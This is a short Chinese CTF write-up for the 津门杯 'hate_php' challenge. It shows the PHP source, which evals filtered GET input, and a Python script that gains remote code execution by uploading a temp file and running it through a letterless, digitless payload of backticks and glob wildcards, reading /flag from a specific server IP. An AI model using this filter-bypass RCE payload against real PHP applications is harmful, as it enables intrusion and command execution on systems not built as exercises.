津门杯hate_php
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if(preg_match("/[A-Za-z0-9_$@]+/",$code)){ die('fighting!'); } eval($code); }
|
p神!:无字母数字webshell之提高篇
可以在res中看到php版本为5.x,这里就需要用到p神的php5下的上传临时文件+通配符RCE
多过滤一个@,看着ascii往前换一个就行
脚本:
1 2 3 4 5 6 7
| import requests url="http://122.112.214.101:20004/index.php?code=?><?=`. /???/????????[?-[]`;?>" files={'file':'cat /flag'} response=requests.post(url=url,files=files) res = response.text print(res)
|
有一定概率性……